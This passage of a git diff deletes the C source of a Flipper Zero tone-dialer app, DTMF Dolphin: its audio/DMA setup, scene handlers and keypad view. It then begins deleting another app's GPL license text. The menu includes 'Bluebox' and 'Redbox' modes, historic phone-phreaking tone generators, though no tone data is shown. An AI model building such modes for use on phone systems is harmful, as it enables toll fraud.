- LL_TIM_EnableCounter(FURI_HAL_SPEAKER_TIMER);
-}
-
-void dtmf_dolphin_speaker_stop() {
- LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER);
- LL_TIM_DisableCounter(FURI_HAL_SPEAKER_TIMER);
-}
-
-void dtmf_dolphin_dma_init(uint32_t address, size_t size) {
- uint32_t dma_dst = (uint32_t) & (FURI_HAL_SPEAKER_TIMER->CCR1);
-
- LL_DMA_ConfigAddresses(DMA_INSTANCE, address, dma_dst, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
- LL_DMA_SetDataLength(DMA_INSTANCE, size);
-
- LL_DMA_SetPeriphRequest(DMA_INSTANCE, LL_DMAMUX_REQ_TIM16_UP);
- LL_DMA_SetDataTransferDirection(DMA_INSTANCE, LL_DMA_DIRECTION_MEMORY_TO_PERIPH);
- LL_DMA_SetChannelPriorityLevel(DMA_INSTANCE, LL_DMA_PRIORITY_VERYHIGH);
- LL_DMA_SetMode(DMA_INSTANCE, LL_DMA_MODE_CIRCULAR);
- LL_DMA_SetPeriphIncMode(DMA_INSTANCE, LL_DMA_PERIPH_NOINCREMENT);
- LL_DMA_SetMemoryIncMode(DMA_INSTANCE, LL_DMA_MEMORY_INCREMENT);
- LL_DMA_SetPeriphSize(DMA_INSTANCE, LL_DMA_PDATAALIGN_HALFWORD);
- LL_DMA_SetMemorySize(DMA_INSTANCE, LL_DMA_MDATAALIGN_HALFWORD);
-
- LL_DMA_EnableIT_TC(DMA_INSTANCE);
- LL_DMA_EnableIT_HT(DMA_INSTANCE);
-}
-
-void dtmf_dolphin_dma_start() {
- LL_DMA_EnableChannel(DMA_INSTANCE);
- LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_SPEAKER_TIMER);
-}
-
-void dtmf_dolphin_dma_stop() {
- LL_DMA_DisableChannel(DMA_INSTANCE);
-}
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h
deleted file mode 100644
index 5b426f6a0..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h
+++ /dev/null
@@ -1,33 +0,0 @@
-#pragma once
-#include
-#include
-#include
-#include
-#include
-
-#define FURI_HAL_SPEAKER_TIMER TIM16
-#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1
-#define DMA_INSTANCE DMA1, LL_DMA_CHANNEL_1
-
-#define DTMF_DOLPHIN_HAL_DMA_PRESCALER 4
-#define DTMF_DOLPHIN_HAL_DMA_AUTORELOAD 255
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-void dtmf_dolphin_speaker_init();
-
-void dtmf_dolphin_speaker_start();
-
-void dtmf_dolphin_speaker_stop();
-
-void dtmf_dolphin_dma_init(uint32_t address, size_t size);
-
-void dtmf_dolphin_dma_start();
-
-void dtmf_dolphin_dma_stop();
-
-#ifdef __cplusplus
-}
-#endif
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h
deleted file mode 100644
index f8ae1530f..000000000
--- a/applications/external/dtmf_dolphin/dtmf_dolphin_i.h
+++ /dev/null
@@ -1,42 +0,0 @@
-#pragma once
-
-#include "scenes/dtmf_dolphin_scene.h"
-
-#include
-#include
-#include
-// #include
-// #include
-#include
-#include
-#include
-
-#include "dtmf_dolphin_event.h"
-
-#include "views/dtmf_dolphin_dialer.h"
-
-#define TAG "DTMFDolphin"
-
-enum DTMFDolphinSceneState {
- DTMFDolphinSceneStateDialer,
- DTMFDolphinSceneStateBluebox,
- DTMFDolphinSceneStateRedboxUS,
- DTMFDolphinSceneStateRedboxUK,
- DTMFDolphinSceneStateRedboxCA,
- DTMFDolphinSceneStateMisc,
-};
-
-typedef struct {
- ViewDispatcher* view_dispatcher;
- SceneManager* scene_manager;
- VariableItemList* main_menu_list;
- DTMFDolphinDialer* dtmf_dolphin_dialer;
-
- Gui* gui;
- // ButtonPanel* dialer_button_panel;
- // ButtonPanel* bluebox_button_panel;
- // ButtonPanel* redbox_button_panel;
- NotificationApp* notification;
-} DTMFDolphinApp;
-
-typedef enum { DTMFDolphinViewMainMenu, DTMFDolphinViewDialer } DTMFDolphinView;
diff --git a/applications/external/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png
deleted file mode 100644
index 9c4d04c02..000000000
Binary files a/applications/external/dtmf_dolphin/phone.png and /dev/null differ
diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c
deleted file mode 100644
index bfb8da1da..000000000
--- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c
+++ /dev/null
@@ -1,30 +0,0 @@
-#include "dtmf_dolphin_scene.h"
-
-// Generate scene on_enter handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
-void (*const dtmf_dolphin_scene_on_enter_handlers[])(void*) = {
-#include "dtmf_dolphin_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_event handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
-bool (*const dtmf_dolphin_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
-#include "dtmf_dolphin_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers array
-#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
-void (*const dtmf_dolphin_scene_on_exit_handlers[])(void* context) = {
-#include "dtmf_dolphin_scene_config.h"
-};
-#undef ADD_SCENE
-
-// Initialize scene handlers configuration structure
-const SceneManagerHandlers dtmf_dolphin_scene_handlers = {
- .on_enter_handlers = dtmf_dolphin_scene_on_enter_handlers,
- .on_event_handlers = dtmf_dolphin_scene_on_event_handlers,
- .on_exit_handlers = dtmf_dolphin_scene_on_exit_handlers,
- .scene_num = DTMFDolphinSceneNum,
-};
diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h
deleted file mode 100644
index e45dc68ae..000000000
--- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h
+++ /dev/null
@@ -1,29 +0,0 @@
-#pragma once
-
-#include
-
-// Generate scene id and total number
-#define ADD_SCENE(prefix, name, id) DTMFDolphinScene##id,
-typedef enum {
-#include "dtmf_dolphin_scene_config.h"
- DTMFDolphinSceneNum,
-} DTMFDolphinScene;
-#undef ADD_SCENE
-
-extern const SceneManagerHandlers dtmf_dolphin_scene_handlers;
-
-// Generate scene on_enter handlers declaration
-#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
-#include "dtmf_dolphin_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_event handlers declaration
-#define ADD_SCENE(prefix, name, id) \
- bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
-#include "dtmf_dolphin_scene_config.h"
-#undef ADD_SCENE
-
-// Generate scene on_exit handlers declaration
-#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
-#include "dtmf_dolphin_scene_config.h"
-#undef ADD_SCENE
diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h
deleted file mode 100644
index b6dab07dc..000000000
--- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h
+++ /dev/null
@@ -1,2 +0,0 @@
-ADD_SCENE(dtmf_dolphin, start, Start)
-ADD_SCENE(dtmf_dolphin, dialer, Dialer)
\ No newline at end of file
diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c
deleted file mode 100644
index 06da595e0..000000000
--- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c
+++ /dev/null
@@ -1,49 +0,0 @@
-#include "../dtmf_dolphin_i.h"
-// #include "../dtmf_dolphin_data.h"
-// #include "../dtmf_dolphin_audio.h"
-
-void dtmf_dolphin_scene_dialer_on_enter(void* context) {
- DTMFDolphinApp* app = context;
- DTMFDolphinScene scene_id = DTMFDolphinSceneDialer;
- enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id);
-
- switch(state) {
- case DTMFDolphinSceneStateBluebox:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX);
- break;
- case DTMFDolphinSceneStateRedboxUS:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US);
- break;
- case DTMFDolphinSceneStateRedboxUK:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK);
- break;
- case DTMFDolphinSceneStateRedboxCA:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA);
- break;
- case DTMFDolphinSceneStateMisc:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC);
- break;
- default:
- dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER);
- break;
- }
-
- view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer);
-}
-
-bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) {
- DTMFDolphinApp* app = context;
- UNUSED(app);
- UNUSED(event);
- bool consumed = false;
-
- // if(event.type == SceneManagerEventTypeTick) {
- // consumed = true;
- // }
-
- return consumed;
-}
-
-void dtmf_dolphin_scene_dialer_on_exit(void* context) {
- UNUSED(context);
-}
diff --git a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c
deleted file mode 100644
index 484e9e8eb..000000000
--- a/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c
+++ /dev/null
@@ -1,94 +0,0 @@
-#include "../dtmf_dolphin_i.h"
-
-static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) {
- DTMFDolphinApp* app = context;
- uint8_t cust_event = 255;
- switch(index) {
- case 0:
- cust_event = DTMFDolphinEventStartDialer;
- break;
- case 1:
- cust_event = DTMFDolphinEventStartBluebox;
- break;
- case 2:
- cust_event = DTMFDolphinEventStartRedboxUS;
- break;
- case 3:
- cust_event = DTMFDolphinEventStartRedboxUK;
- break;
- case 4:
- cust_event = DTMFDolphinEventStartRedboxCA;
- break;
- case 5:
- cust_event = DTMFDolphinEventStartMisc;
- break;
- default:
- return;
- }
-
- view_dispatcher_send_custom_event(app->view_dispatcher, cust_event);
-}
-
-void dtmf_dolphin_scene_start_on_enter(void* context) {
- DTMFDolphinApp* app = context;
- VariableItemList* var_item_list = app->main_menu_list;
-
- // VariableItem* item;
- variable_item_list_set_enter_callback(
- var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app);
-
- variable_item_list_add(var_item_list, "Dialer", 0, NULL, context);
- variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context);
- variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context);
- variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context);
- variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context);
- variable_item_list_add(var_item_list, "Misc", 0, NULL, context);
-
- variable_item_list_set_selected_item(
- var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart));
-
- view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
-}
-
-bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) {
- DTMFDolphinApp* app = context;
- UNUSED(app);
- bool consumed = false;
-
- if(event.type == SceneManagerEventTypeCustom) {
- uint8_t sc_state;
-
- switch(event.event) {
- case DTMFDolphinEventStartDialer:
- sc_state = DTMFDolphinSceneStateDialer;
- break;
- case DTMFDolphinEventStartBluebox:
- sc_state = DTMFDolphinSceneStateBluebox;
- break;
- case DTMFDolphinEventStartRedboxUS:
- sc_state = DTMFDolphinSceneStateRedboxUS;
- break;
- case DTMFDolphinEventStartRedboxUK:
- sc_state = DTMFDolphinSceneStateRedboxUK;
- break;
- case DTMFDolphinEventStartRedboxCA:
- sc_state = DTMFDolphinSceneStateRedboxCA;
- break;
- case DTMFDolphinEventStartMisc:
- sc_state = DTMFDolphinSceneStateMisc;
- break;
- default:
- return consumed;
- }
- scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state);
- scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer);
-
- consumed = true;
- }
- return consumed;
-}
-
-void dtmf_dolphin_scene_start_on_exit(void* context) {
- DTMFDolphinApp* app = context;
- variable_item_list_reset(app->main_menu_list);
-}
diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h
deleted file mode 100644
index f2f4838d6..000000000
--- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-#include "../dtmf_dolphin_event.h"
-#include "../dtmf_dolphin_data.h"
-#include "../dtmf_dolphin_audio.h"
-
-#define DTMF_DOLPHIN_NUMPAD_X 1
-#define DTMF_DOLPHIN_NUMPAD_Y 14
-#define DTMF_DOLPHIN_BUTTON_WIDTH 13
-#define DTMF_DOLPHIN_BUTTON_HEIGHT 13
-#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides
diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c
deleted file mode 100644
index bdffa2313..000000000
--- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c
+++ /dev/null
@@ -1,350 +0,0 @@
-#include "dtmf_dolphin_dialer.h"
-
-#include
-
-typedef struct DTMFDolphinDialer {
- View* view;
- DTMFDolphinDialerOkCallback callback;
- void* context;
-} DTMFDolphinDialer;
-
-typedef struct {
- DTMFDolphinToneSection section;
- uint8_t row;
- uint8_t col;
- float freq1;
- float freq2;
- bool playing;
- uint16_t pulses;
- uint16_t pulse_ms;
- uint16_t gap_ms;
-} DTMFDolphinDialerModel;
-
-static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer);
-static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer);
-static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer);
-static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer);
-static bool
- dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event);
-
-void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) {
- uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
- (col * DTMF_DOLPHIN_BUTTON_WIDTH);
- // (col * DTMF_DOLPHIN_BUTTON_PADDING);
- uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
- (row * DTMF_DOLPHIN_BUTTON_HEIGHT);
- // (row * DTMF_DOLPHIN_BUTTON_PADDING);
-
- uint8_t span = dtmf_dolphin_get_tone_span(row, col);
-
- if(span == 0) {
- return;
- }
-
- canvas_set_color(canvas, ColorBlack);
-
- if(invert)
- canvas_draw_rbox(
- canvas,
- left,
- top,
- (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
- DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
- 2);
- else
- canvas_draw_rframe(
- canvas,
- left,
- top,
- (DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
- DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
- 2);
-
- if(invert) canvas_invert_color(canvas);
-
- canvas_set_font(canvas, FontSecondary);
- // canvas_set_color(canvas, invert ? ColorWhite : ColorBlack);
- canvas_draw_str_aligned(
- canvas,
- left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2),
- top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2),
- AlignCenter,
- AlignCenter,
- dtmf_dolphin_data_get_tone_name(row, col));
-
- if(invert) canvas_invert_color(canvas);
-}
-
-void draw_dialer(Canvas* canvas, void* _model) {
- DTMFDolphinDialerModel* model = _model;
- uint8_t max_rows;
- uint8_t max_cols;
- uint8_t max_span;
- dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
-
- canvas_set_font(canvas, FontSecondary);
-
- for(int r = 0; r < max_rows; r++) {
- for(int c = 0; c < max_cols; c++) {
- if(model->row == r && model->col == c)
- draw_button(canvas, r, c, true);
- else
- draw_button(canvas, r, c, false);
- }
- }
-}
-
-void update_frequencies(DTMFDolphinDialerModel* model) {
- dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col);
- dtmf_dolphin_data_get_filter_data(
- &model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col);
-}
-
-static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) {
- DTMFDolphinDialerModel* model = _model;
- if(model->playing) {
- // Leverage the prioritized draw callback to handle
- // the DMA so that it doesn't skip.
- dtmf_dolphin_audio_handle_tick();
- // Don't do any drawing if audio is playing.
- canvas_set_font(canvas, FontPrimary);
- elements_multiline_text_aligned(
- canvas,
- canvas_width(canvas) / 2,
- canvas_height(canvas) / 2,
- AlignCenter,
- AlignCenter,
- "Playing Tones");
- return;
- }
- update_frequencies(model);
- uint8_t max_rows = 0;
- uint8_t max_cols = 0;
- uint8_t max_span = 0;
- dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
-
- canvas_set_font(canvas, FontPrimary);
- elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name());
- canvas_draw_line(
- canvas,
- (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
- 0,
- (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
- canvas_height(canvas));
- elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail");
- canvas_draw_line(
- canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3);
- // elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode");
-
- draw_dialer(canvas, model);
-
- FuriString* output = furi_string_alloc();
-
- if(model->freq1 && model->freq2) {
- furi_string_cat_printf(
- output,
- "Dual Tone\nF1: %u Hz\nF2: %u Hz\n",
- (unsigned int)model->freq1,
- (unsigned int)model->freq2);
- } else if(model->freq1) {
- furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1);
- }
-
- canvas_set_font(canvas, FontSecondary);
- canvas_set_color(canvas, ColorBlack);
- if(model->pulse_ms) {
- furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms);
- }
- if(model->gap_ms) {
- furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms);
- }
- elements_multiline_text(
- canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output));
-
- furi_string_free(output);
-}
-
-static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) {
- furi_assert(context);
- DTMFDolphinDialer* dtmf_dolphin_dialer = context;
- bool consumed = false;
-
- if(event->type == InputTypeShort) {
- if(event->key == InputKeyRight) {
- consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer);
- } else if(event->key == InputKeyLeft) {
- consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer);
- } else if(event->key == InputKeyUp) {
- consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer);
- } else if(event->key == InputKeyDown) {
- consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer);
- }
-
- } else if(event->key == InputKeyOk) {
- consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event);
- }
-
- return consumed;
-}
-
-static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- uint8_t span = 0;
- uint8_t cursor = model->row;
- while(span == 0 && cursor > 0) {
- cursor--;
- span = dtmf_dolphin_get_tone_span(cursor, model->col);
- }
- if(span != 0) {
- model->row = cursor;
- }
- },
- true);
- return true;
-}
-
-static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- uint8_t max_rows = 0;
- uint8_t max_cols = 0;
- uint8_t max_span = 0;
- dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
-
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- uint8_t span = 0;
- uint8_t cursor = model->row;
- while(span == 0 && cursor < max_rows - 1) {
- cursor++;
- span = dtmf_dolphin_get_tone_span(cursor, model->col);
- }
- if(span != 0) {
- model->row = cursor;
- }
- },
- true);
- return true;
-}
-
-static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- uint8_t span = 0;
- uint8_t cursor = model->col;
- while(span == 0 && cursor > 0) {
- cursor--;
- span = dtmf_dolphin_get_tone_span(model->row, cursor);
- }
- if(span != 0) {
- model->col = cursor;
- }
- },
- true);
- return true;
-}
-
-static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- uint8_t max_rows = 0;
- uint8_t max_cols = 0;
- uint8_t max_span = 0;
- dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
-
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- uint8_t span = 0;
- uint8_t cursor = model->col;
- while(span == 0 && cursor < max_cols - 1) {
- cursor++;
- span = dtmf_dolphin_get_tone_span(model->row, cursor);
- }
- if(span != 0) {
- model->col = cursor;
- }
- },
- true);
- return true;
-}
-
-static bool
- dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) {
- bool consumed = false;
-
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- if(event->type == InputTypePress) {
- model->playing = dtmf_dolphin_audio_play_tones(
- model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms);
- } else if(event->type == InputTypeRelease) {
- model->playing = !dtmf_dolphin_audio_stop_tones();
- }
- },
- true);
-
- return consumed;
-}
-
-static void dtmf_dolphin_dialer_enter_callback(void* context) {
- furi_assert(context);
- DTMFDolphinDialer* dtmf_dolphin_dialer = context;
-
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- model->col = 0;
- model->row = 0;
- model->section = 0;
- model->freq1 = 0.0;
- model->freq2 = 0.0;
- model->playing = false;
- },
- true);
-}
-
-DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() {
- DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer));
-
- dtmf_dolphin_dialer->view = view_alloc();
- view_allocate_model(
- dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel));
-
- with_view_model(
- dtmf_dolphin_dialer->view,
- DTMFDolphinDialerModel * model,
- {
- model->col = 0;
- model->row = 0;
- model->section = 0;
- model->freq1 = 0.0;
- model->freq2 = 0.0;
- model->playing = false;
- },
- true);
-
- view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer);
- view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback);
- view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback);
- view_set_enter_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_enter_callback);
- return dtmf_dolphin_dialer;
-}
-
-void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- furi_assert(dtmf_dolphin_dialer);
- view_free(dtmf_dolphin_dialer->view);
- free(dtmf_dolphin_dialer);
-}
-
-View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) {
- furi_assert(dtmf_dolphin_dialer);
- return dtmf_dolphin_dialer->view;
-}
diff --git a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h
deleted file mode 100644
index 1929afbc5..000000000
--- a/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h
+++ /dev/null
@@ -1,18 +0,0 @@
-#pragma once
-
-#include
-#include "dtmf_dolphin_common.h"
-
-typedef struct DTMFDolphinDialer DTMFDolphinDialer;
-typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context);
-
-DTMFDolphinDialer* dtmf_dolphin_dialer_alloc();
-
-void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer);
-
-View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer);
-
-void dtmf_dolphin_dialer_set_ok_callback(
- DTMFDolphinDialer* dtmf_dolphin_dialer,
- DTMFDolphinDialerOkCallback callback,
- void* context);
diff --git a/applications/external/esubghz_chat/LICENSE b/applications/external/esubghz_chat/LICENSE
deleted file mode 100644
index f288702d2..000000000
--- a/applications/external/esubghz_chat/LICENSE
+++ /dev/null
@@ -1,674 +0,0 @@
- GNU GENERAL PUBLIC LICENSE
- Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc.
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
- Preamble
-
- The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
- The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works. By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users. We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors. You can apply it to
-your programs, too.
-
- When we speak of free software, we are referring to freedom, not
-price. Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
- To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights. Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
- For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received. You must make sure that they, too, receive
-or can get the source code. And you must show them these terms so they
-know their rights.
-
- Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
- For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software. For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
- Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so. This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software. The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable. Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products. If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
- Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary. To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
- The precise terms and conditions for copying, distribution and
-modification follow.
-
- TERMS AND CONDITIONS
-
- 0. Definitions.
-
- "This License" refers to version 3 of the GNU General Public License.
-
- "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
- "The Program" refers to any copyrightable work licensed under this
-License. Each licensee is addressed as "you". "Licensees" and
-"recipients" may be individuals or organizations.
-
- To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy. The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
- A "covered work" means either the unmodified Program or a work based
-on the Program.
-
- To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy. Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
- To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies. Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
- An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License. If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
- 1. Source Code.
-
- The "source code" for a work means the preferred form of the work
